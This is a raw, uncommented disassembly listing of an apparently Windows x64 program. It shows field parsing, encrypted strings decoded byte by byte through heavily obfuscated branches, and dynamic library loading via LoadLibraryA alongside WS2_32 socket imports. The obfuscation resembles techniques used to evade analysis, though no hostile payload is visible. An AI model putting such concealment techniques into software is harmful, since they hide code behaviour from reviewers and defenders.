mov r8b, 0x7c
lea rdx, [rbp + 0xf10]
lea rcx, [rbp + 0x978]
call fcn.140143980
nop
mov rdx, qword [rbp + 0x980]
mov rax, rdx
mov r8, qword [rbp + 0x978]
sub rax, r8
sar rax, 5
test rax, rax
je 0x1401714ab
lea rdx, str.11111111
mov rcx, r8
call fcn.1401a7310
mov byte [rbp - 0x74], al
mov rdx, qword [rbp + 0x980]
mov r8, qword [rbp + 0x978]
mov rcx, rdx
sub rcx, r8
sar rcx, 5
cmp rcx, 1
jbe 0x1401714df
lea rcx, [r8 + 0x20]
lea rdx, [0x1404473dc]
call fcn.1401a7310
mov byte [rbp + 0x5d08], al
mov rdx, qword [rbp + 0x980]
mov r8, qword [rbp + 0x978]
mov rcx, rdx
sub rcx, r8
sar rcx, 5
cmp rcx, 2
jbe 0x140171513
lea rcx, [r8 + 0x40]
lea rdx, [0x1404473e0]
call fcn.1401a7310
mov byte [rbp + 0x5d10], al
mov rdx, qword [rbp + 0x980]
mov r8, qword [rbp + 0x978]
mov rcx, rdx
sub rcx, r8
sar rcx, 5
cmp rcx, 3
jbe 0x140171547
lea rcx, [r8 + 0x60]
lea rdx, str.1111
call fcn.1401a7310
mov byte [rbp + 0x5d18], al
mov rdx, qword [rbp + 0x980]
mov r8, qword [rbp + 0x978]
mov rcx, rdx
sub rcx, r8
sar rcx, 5
cmp rcx, 4
jbe 0x14017157b
lea rcx, [r8 + 0x80]
lea rdx, [0x1404473c4]
call fcn.1401a7310
mov byte [rbp - 0x20], al
mov rdx, qword [rbp + 0x980]
mov r8, qword [rbp + 0x978]
mov rcx, rdx
sub rcx, r8
sar rcx, 5
cmp rcx, 5
jbe 0x1401715af
lea rcx, [r8 + 0xa0]
lea rdx, [0x1404473c8]
call fcn.1401a7310
mov byte [rbp - 0x1f], al
mov rdx, qword [rbp + 0x980]
mov r8, qword [rbp + 0x978]
mov rcx, rdx
sub rcx, r8
sar rcx, 5
cmp rcx, 6
jbe 0x1401715e3
lea rcx, [r8 + 0xc0]
lea rdx, [0x1404473cc]
call fcn.1401a7310
mov byte [rbp - 0x1e], al
mov rdx, qword [rbp + 0x980]
mov r8, qword [rbp + 0x978]
mov rcx, rdx
sub rcx, r8
sar rcx, 5
cmp rcx, 7
jbe 0x140171617
lea rcx, [r8 + 0xe0]
lea rdx, [0x1404473e8]
call fcn.1401a7310
mov byte [rbp - 0x1d], al
mov rdx, qword [rbp + 0x980]
mov r8, qword [rbp + 0x978]
mov rcx, rdx
sub rcx, r8
sar rcx, 5
cmp rcx, 8
jbe 0x14017164b
lea rcx, [r8 + 0x100]
lea rdx, [0x1404473ec]
call fcn.1401a7310
mov byte [rbp - 0x78], al
mov rdx, qword [rbp + 0x980]
mov r8, qword [rbp + 0x978]
mov rcx, rdx
sub rcx, r8
sar rcx, 5
cmp rcx, 9
jbe 0x14017167f
lea rcx, [r8 + 0x120]
lea rdx, [0x1404473f0]
call fcn.1401a7310
mov byte [rbp - 0x77], al
mov rdx, qword [rbp + 0x980]
mov r8, qword [rbp + 0x978]
mov rcx, rdx
sub rcx, r8
sar rcx, 5
cmp rcx, 0xa
jbe 0x1401716b3
lea rcx, [r8 + 0x140]
lea rdx, [0x1404473f4]
call fcn.1401a7310
mov byte [rbp - 0x76], al
mov rdx, qword [rbp + 0x980]
mov r8, qword [rbp + 0x978]
sub rdx, r8
sar rdx, 5
cmp rdx, 0xb
jbe 0x1401716d6
lea rcx, [r8 + 0x160]
lea rdx, [0x1404473e4]
call fcn.1401a7310
mov byte [rbp - 0x75], al
lea rcx, [rbp + 0x978]
call fcn.140136110
nop
lea rcx, [rbp + 0xf10]
call fcn.1401362c0
movzx edx, byte [rbp + 0x5d00]
lea rcx, [rbp + 0xf30]
call fcn.140136a10
nop
xor r8d, r8d
lea rdx, [0x140443ebb]
lea rcx, [rbp + 0xf30]
call fcn.14013ab10
nop
movzx edx, byte [rbp + 0x5d00]
lea rcx, [rbp + 0xf50]
call fcn.140136a10
nop
xor r8d, r8d
lea rdx, [0x140443ec1]
lea rcx, [rbp + 0xf50]
call fcn.14013ab10
nop
movzx edx, byte [rbp + 0x5d00]
lea rcx, [rbp + 0xf70]
call fcn.140136a10
nop
xor r8d, r8d
lea rdx, [0x140443ec2]
lea rcx, [rbp + 0xf70]
call fcn.14013ab10
nop
mov r14d, r15d
mov dword [rbp - 0x18], r15d
mov dword [rbp - 0x80], r15d
test r12b, r12b
je 0x140171905
cmp dword [rbp + 0x44], 4
jle 0x140171a08
mov rbx, qword [rsi + 0x20]
movzx edx, byte [rbp + 0x5d00]
lea rcx, [rbp + 0xf90]
call fcn.140136a10
nop
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rbx + r8*2], 0
jne 0x1401717b0
mov rdx, rbx
lea rcx, [rbp + 0xf90]
call fcn.140140690
nop
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0xf90]
call fcn.14014cf70
mov rbx, qword [rax]
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0xf90]
call fcn.14014cf90
lea r9, [rbp - 0x71]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0xfb0]
call fcn.14014d2c0
nop
lea rcx, [rbp + 0xf90]
call fcn.14013ec20
mov r8b, 0x7c
lea rdx, [rbp + 0xfb0]
lea rcx, [rbp + 0x990]
call fcn.140143980
nop
mov rax, qword [rbp + 0x998]
mov rdx, qword [rbp + 0x990]
sub rax, rdx
sar rax, 5
test rax, rax
je 0x1401a1788
lea rcx, [rbp + 0xf30]
call fcn.1401a3650
mov rax, qword [rbp + 0x998]
mov rdx, qword [rbp + 0x990]
sub rax, rdx
sar rax, 5
cmp rax, 1
jbe 0x1401a1788
add rdx, 0x20
lea rcx, [rbp + 0xf50]
call fcn.1401a3650
mov rax, qword [rbp + 0x998]
mov rcx, qword [rbp + 0x990]
sub rax, rcx
sar rax, 5
cmp rax, 2
jbe 0x1401a1788
add rcx, 0x40
xor edx, edx
lea r8d, [rdx + 0xa]
call fcn.140156890
mov r14d, eax
mov dword [rbp - 0x18], eax
mov rcx, qword [rbp + 0x998]
mov rdx, qword [rbp + 0x990]
sub rcx, rdx
sar rcx, 5
cmp rcx, 3
jbe 0x1401a1788
lea rcx, [rdx + 0x60]
xor edx, edx
lea r8d, [rdx + 0xa]
call fcn.140156890
mov dword [rbp - 0x80], eax
lea rcx, [rbp + 0x990]
call fcn.140136110
nop
lea rcx, [rbp + 0xfb0]
call fcn.1401362c0
call fcn.140167390
lea rcx, [rbp + 0xfd0]
call fcn.1401677b0
nop
mov byte [rbp + 0xca8], 0x3f
mov byte [rbp + 0xca9], 0x22
mov byte [rbp + 0xcaa], 0x26
mov byte [rbp + 0xcab], 0x7e
mov byte [rbp + 0xcac], 0x7c
mov byte [rbp + 0xcad], 0x3a
mov byte [rbp + 0xcae], 0x62
mov byte [rbp + 0xcaf], reloc.WS2_32.dll_gethostbyaddr
mov byte [rbp + 0xcb0], 0x3a
mov byte [rbp + 0xcb1], 0x39
mov byte [rbp + 0xcb2], 0xac
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xcb3], xmm0
mov word [rbp + 0xcc3], ax
movabs rdx, 0xf54163420d476623
movabs rsi, 0xe1fa52e9e57e6d57
movzx ebx, byte [rbp + 0x5d00]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
mov r11, r15
movabs rcx, 0x9914edd8409ff77d
cmp r11, 0x1d
jae 0x140172783
movzx r10d, byte [rbp + r11 + 0xca8]
mov rdi, r10
cmp r8, r11
ja 0x14017277a
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140171a98
movabs rcx, 0x74a23b4f6e30bc9
add rcx, r11
mov rax, rcx
and rax, r10
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r10
sub bl, 0x7f
movabs rcx, 0x9914edd8409ff77d
jmp 0x140171ac5
movsd xmm0, qword [str._ERJ]
movsd qword [rbp + 0x3a0], xmm0
mov eax, dword [0x14044a008]
mov dword [rbp + 0x3a8], eax
movzx eax, byte [0x14044a00c]
mov byte [rbp + 0x3ac], al
mov r8d, r15d
lea r9, [rbp + 0x3a0]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140171a40
lea rcx, [rbp + 0x3a0]
call fcn.14014cf40
mov qword [rbp + 0x3a0], r15
mov dword [rbp + 0x3a8], r15d
mov byte [rbp + 0x3ac], r15b
jmp 0x1401a173f
je 0x1401726ec
lea rax, [r9 + 3]
cmp r8, rax
je 0x14017265a
lea rax, [r9 + 4]
cmp r8, rax
je 0x1401725eb
lea rax, [r9 + 6]
cmp r8, rax
je 0x1401725b8
cmp r9, r11
ja 0x140172771
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x140171afa
lea rdx, [r11 + rcx]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub dl, 0x6b
add bl, dl
movabs rdx, 0xf54163420d476623
jmp 0x140171b50
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14017255d
lea rax, [r9 + 2]
cmp r8, rax
je 0x140172529
lea rax, [r9 + 3]
cmp r8, rax
je 0x140172506
lea rax, [rcx + 1]
cmp r8, rax
je 0x1401724eb
lea rax, [r9 + 4]
cmp r8, rax
je 0x1401724c7
lea rax, [r9 + 7]
cmp r8, rax
je 0x1401724a2
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x140172128
nop dword [rax]
lea rax, [r9 + 2]
cmp r8, rax
je 0x140172101
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1401720c7
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140172090
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14017206b
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140172044
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14017201d
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140171ff6
lea rax, [r9 + 6]
cmp r8, rax
je 0x140171fcf
lea rax, [r9 + 3]
cmp r8, rax
je 0x140171fa8
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140171b60
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14017274d
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14017272a
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140171d49
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140171d10
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140171ceb
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140171ee3
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140171b60
lea r8, [r9 + 1]
lea r9, [r8 + 0x28]
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140171ec0
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140171e9d
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140171e7a
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140171e57
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140171e33
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140171e10
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140171ddc
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140171da5
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140171d82
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x140171b60
lea r8, [r9 + 8]
lea r9, [r8 + 0x3e8]
jmp 0x140171b60
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add dl, 0xb
add bl, dl
movabs rdx, 0xf54163420d476623
jmp 0x140171b50
movabs rdx, 0xe6ad1bd81f814e91
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add dl, 9
add bl, dl
movabs rcx, 0x9914edd8409ff77d
movabs rdx, 0xf54163420d476623
jmp 0x140171ac5
movabs rdx, 0xd818d46e31bb36ff
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add dl, 7
add bl, dl
movabs rcx, 0x9914edd8409ff77d
movabs rdx, 0xf54163420d476623
jmp 0x1401719c0
movabs rcx, 0xc8a76ec204ffbbe8
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x58
jmp 0x14017257b
movabs rcx, 0xba1327581739a456
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x5a
inc r9
dec r11
inc r11
movabs rdx, 0xf54163420d476623
jmp 0x1401719a3
movabs rcx, 0xab7edfee29738cc4
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x5c
dec r11
inc r11
movabs rdx, 0xf54163420d476623
jmp 0x1401719a3
movabs rdx, 0x9cea98843bad7532
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x5e
jmp 0x140172609
movabs rcx, 0x8e56511a4de75da0
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x60
jmp 0x140172635
movabs rcx, 0x7fc209b06021460e
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x62
jmp 0x140172638
movabs rdx, 0x712dc246725b2e7c
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x64
jmp 0x14017267b
movabs rcx, 0x62997adc849516ea
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x66
jmp 0x1401726b1
movabs rcx, 0x5405337296ceff58
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x68
jmp 0x140172709
movabs rcx, 0x3d5aaabfb0d7db5
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0xd
lea rax, [r9 + r8]
cmp rax, 0xa
je 0x140172475
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x140172296
movabs rdx, 0xbcaa821ed419cee5
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x43
add bl, dl
cmp r8, 0x5a
jae 0x140172448
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x14017235d
movabs rdx, 0x55bf6ff714b9c662
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x29
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
cmp r9, 5
jb 0x14017242e
movabs rcx, 0xe78a3a1a5e76b216
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea ebx, [rcx*2 - 0x34]
jmp 0x14017257b
movabs rdx, 0x967d931183bfccee
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x3f
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x140172709
movabs rdx, 0x87e94ba795f9b55c
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1401726b1
movabs rdx, 0x7955043da8339dca
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x3d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x14017267d
movabs rdx, 0x6ac0bcd3ba6d8638
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x3c
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x140172638
movabs rdx, 0x5c2c7569cca76ea6
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x3b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x140172635
movabs rdx, 0x4d982dffdee15714
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x3a
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x140172609
movabs rdx, 0x3f03e695f11b3f82
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x39
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
dec r11
inc r11
movabs rdx, 0xf54163420d476623
jmp 0x1401719a3
movabs rdx, 0x306f9f2c035527f0
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_getservbyport
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
inc r9
dec r11
inc r11
movabs rdx, 0xf54163420d476623
jmp 0x1401719a3
movabs rdx, 0x21db57c2158f105e
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_getservbyname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x14017257b
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x140172154
movabs rcx, 0x74a23b4f6e30bc9
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x7f
jmp 0x140171f01
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140172184
movabs rdx, 0x3229dbb0813feefa
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x140172709
inc rax
cmp r8, rax
jne 0x1401721b3
movabs rdx, 0x40be231a6f06068c
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_shutdown
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1401726b1
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401721e1
movabs rdx, 0x4f526a845ccc1e1e
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x14017267b
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14017220f
movabs rdx, 0x7b0f40c2261e64d4
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x1a
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x140172609
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14017224f
movabs rdx, 0x89a3882c13e47c66
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x1b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
dec r11
inc r11
movabs rdx, 0xf54163420d476623
jmp 0x1401719a3
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140171f01
movabs rdx, 0x9837cf9601aa93f8
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x1c
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
inc r9
dec r11
inc r11
movabs rdx, 0xf54163420d476623
jmp 0x1401719a3
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1401722c2
movabs rcx, 0xcb3ec988c1dfe677
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x41
jmp 0x14017257b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401722ff
movabs rcx, 0xe867585c9d6c159b
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x3d
dec r11
inc r11
movabs rdx, 0xf54163420d476623
jmp 0x1401719a3
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14017232b
movabs rcx, 0xf6fb9fc68b322d2d
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x3b
jmp 0x14017260b
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140171f3f
movabs rdx, 0x314cbd6e424a8b75
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x33
add bl, dl
jmp 0x1401726b1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14017238d
movabs rdx, 0x6453b761027fddf4
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x2a
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x140172709
inc rax
cmp r8, rax
jne 0x1401723ba
movabs rdx, 0x817c4634de0c0d18
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x2c
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x14017267b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401723ea
movabs rdx, 0xad391c72a75e53ce
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, gethostbyaddr
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x14017260b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140171f78
movabs rdx, 0xbbcd63dc95246b60
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, gethostbyaddr
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
dec r11
inc r11
movabs rdx, 0xf54163420d476623
jmp 0x1401719a3
mov byte [rbp + r11 + 0xca8], bl
inc r11
movabs rdx, 0xf54163420d476623
jmp 0x1401719a3
movabs rdx, 0xf61e81844c3cc9a8
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r11 + 0xca8]
add bl, r10b
jmp 0x140172609
movabs rdx, 0x4b2c8ee3a02e13a
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, getservbyname
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r11 + 0xca8]
add bl, r10b
jmp 0x14017267b
movabs rdx, 0xdb72927aed0b40d
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x5b
add bl, dl
jmp 0x1401726b1
movabs rcx, 0xf08e9a53d34484e9
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x5f
jmp 0x140172638
lea rcx, [r11 + rsi]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x61
jmp 0x140172635
movabs rdx, 0xd3660b7ff7b855c5
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x63
jmp 0x140172609
movabs rcx, 0xc4d1c41609f23e33
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x65
dec r11
inc r11
movabs rdx, 0xf54163420d476623
jmp 0x1401719a3
movabs rcx, 0xa7a935422e660f0f
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x69
movabs rcx, 0xeed45dcf5559bddf
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x19
add cl, r10b
mov byte [rbp + r11 + 0xca8], cl
inc r9
dec r11
inc r11
movabs rdx, 0xf54163420d476623
jmp 0x1401719a3
movabs rcx, 0x6d58179a774db0c7
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x71
dec r11
inc r11
movabs rdx, 0xf54163420d476623
jmp 0x1401719a3
movabs rdx, 0x5ec3d03089879935
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x73
add bl, dl
movabs rcx, 0xfd68a539431fd571
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x17
add r10b, bl
add r10b, cl
mov byte [rbp + r11 + 0xca8], r10b
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
movabs rdx, 0xf54163420d476623
jmp 0x1401719a3
mov r10, rdi
movabs rdx, 0x3306f9f2c035527f
add rdx, r11
movzx eax, dl
and al, dil
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x79
add bl, dl
movabs rdx, 0xbfceca330e5ed03
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x15
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0xca8], al
inc r9
add rax, r9
sub r11, rax
movabs rdx, 0x1347105827c8f8cc
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, getservbyname
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0xca8], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
jmp 0x140172709
movabs rcx, 0x15de6b1ee4a9235b
add rcx, r11
movzx eax, dil
and al, cl
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x7d
movzx eax, byte [rbp + r11 + 0xca8]
add rax, r9
add r11, rax
inc r11
movabs rdx, 0xf54163420d476623
jmp 0x1401719a3
movabs rcx, 0xc9848d0443f51f6d
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 5
jmp 0x1401719a0
movabs rcx, 0xbaf0459a562f07db
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
add bl, 3
jmp 0x140171992
lea rcx, [rbp + 0x14bf7b4]
jmp 0x14017278a
lea rcx, [rbp + 0xaf037d]
jmp 0x14017278a
lea rcx, [rbp + 0xca8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
mov r15d, 0xc0000001
mov dword [rbp + 0x10], r15d
movabs rcx, 0xb32b000031d594d8
movabs rdx, 0x4065c30d7a9e1628
test rax, rax
je 0x140173566
mov byte [rbp + 0x21a8], 0xee
mov byte [rbp + 0x21a9], 0xc5
mov byte [rbp + 0x21aa], 0xe0
mov byte [rbp + 0x21ab], 0xea
mov byte [rbp + 0x21ac], 0xe9
mov byte [rbp + 0x21ad], 0xf1
mov byte [rbp + 0x21ae], 0xd3
mov byte [rbp + 0x21af], 0xc1
mov byte [rbp + 0x21b0], getservbyname
mov byte [rbp + 0x21b1], 0x2a
mov byte [rbp + 0x21b2], gethostbyaddr
mov byte [rbp + 0x21b3], reloc.WS2_32.dll_select
mov byte [rbp + 0x21b4], reloc.WS2_32.dll_gethostbyaddr
mov byte [rbp + 0x21b5], recvfrom
mov byte [rbp + 0x21b6], getservbyname
mov byte [rbp + 0x21b7], getservbyname
mov byte [rbp + 0x21b8], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0x21b9], reloc.WS2_32.dll_gethostbyaddr
mov byte [rbp + 0x21ba], 0x3d
mov byte [rbp + 0x21bb], 0x3f
mov byte [rbp + 0x21bc], 0xc4
xorps xmm0, xmm0
movups xmmword [rbp + 0x21bd], xmm0
movzx ebx, byte [rbp + 0x5d00]
nop
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
xor r11d, r11d
cmp r11, 0x25
jae 0x140173425
movzx r10d, byte [rbp + r11 + 0x21a8]
mov rdi, r10
nop dword [rax]
cmp r8, r11
ja 0x14017341c
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1401728ce
movabs rcx, 0x14b8e79e7c471f78
add rcx, r11
mov rax, r10
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r10
add rbx, rcx
sub bl, 0x48
movabs rcx, 0xb32b000031d594d8
jmp 0x140172907
je 0x14017335e
inc rax
cmp r8, rax
je 0x1401732d0
lea rax, [r9 + 4]
cmp r8, rax
je 0x140173299
lea rax, [r9 + 5]
cmp r8, rax
je 0x140173247
lea rax, [r9 + 3]
cmp r8, rax
je 0x14017321a
cmp r9, r11
ja 0x140173413
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x14017293e
lea rdx, [r11 + rcx]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movabs rdx, 0x4065c30d7a9e1628
jmp 0x140172980
lea rax, [r9 + 1]
cmp r8, rax
je 0x1401731c8
inc rax
cmp r8, rax
je 0x14017319e
lea rax, [r9 + 3]
cmp r8, rax
je 0x14017317b
lea rax, [r9 + 4]
cmp r8, rax
je 0x140173158
lea rax, [r9 + 7]
cmp r8, rax
je 0x140173131
nop
lea rax, [r8 + r9]
cmp rax, r11
jbe 0x140172e70
nop dword [rax]
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140172e49
lea rax, [r9 + 8]
cmp r8, rax
je 0x140172e20
lea rax, [r9 + 4]
cmp r8, rax
je 0x140172df9
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140172de5
lea rax, [r9 + 5]
cmp r8, rax
je 0x140172dbf
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140172d98
lea rax, [r9 + 6]
cmp r8, rax
je 0x140172d73
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140172d50
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1401733d8
